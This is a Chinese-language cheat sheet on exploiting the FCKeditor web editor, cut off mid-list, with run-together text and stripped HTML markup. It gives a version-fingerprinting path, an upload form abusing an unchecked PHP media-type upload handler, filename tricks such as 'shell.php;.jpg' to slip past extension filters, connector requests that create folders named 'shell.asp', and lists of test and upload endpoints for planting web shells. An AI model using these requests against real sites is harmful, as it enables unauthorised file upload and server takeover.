Fckeditor漏洞利用总结.doc

活动总结/活动总结范文 fckeditor漏洞利用总结 查看编辑器版本fckeditor/_whatsnew.html2. version 2.2 版本apache+linux 环境下在上传文件后面加个.突破！测试通过。3.version =2.4.2 for php 在处理php 上传的地方并未对media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。form id=frmupload enctype=multipart/form-dataaction=site/fckeditor/editor/filemanager/upload/php/upload.php?type=media method=postupload a new file:brinput type=file name=newfile size=50brinput id=btnupload type=submit value=upload/form4.fckeditor 文件上传“.”变“_”下划线的绕过方法很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版fck 的变化。4.1：提交shell.php+空格绕过不过空格只支持win 系统 *nix 是不支持的shell.php 和shell.php+空格是2 个不同的文件 未测试。4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。5. 突破建立文件夹fckeditor/editor/filemanager/connectors/asp/connector.asp?command=createfoldertype=imagecurrentfolder=%2fshell.aspnewfoldername=zuuid=1244789975684fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?command=createfoldercurrentfolder=/type=imagenewfoldername=shell.asp6. fckeditor 中test 文件的上传地址fckeditor/editor/filemanager/browser/default/connectors/test.htmlfckeditor/editor/filemanager/upload/test.htmlfckeditor/editor/filemanager/connectors/test.htmlfckeditor/editor/filemanager/connectors/uploadtest.html7.常用上传地址fckeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?command=getfoldersandfilestype=imagecurrentfolder=/fckeditor/editor/filemanager/browser/default/browser.html?type=imageconnector=connectors/asp/connector.aspfckeditor/editor/filemanager/browser/default/browser.html?type=imageconnector=site%2ffckeditor%2feditor%2ffilemanager%2fconnectors%2fphp%2fconnector.php (ver:2.6.3 测试通过)jsp 版：fckeditor/editor/filemanager/browser/default/browser.html?type=imageconnector=connectors/jsp/connector.jsp注意红色部分修改为fckeditor 实际使用的脚本语言，蓝色部分可以自定义文件夹名称也可以利用./.目录遍历，紫色部分为实际网站地址。8.其他上传地址fckeditor/_samples/default.htmlfckeditor/_samples/asp/sample01.aspfckeditor/_samples/asp/sample02.aspfckeditor/_samples/asp/sample03.aspfckeditor/_samples/asp/sampl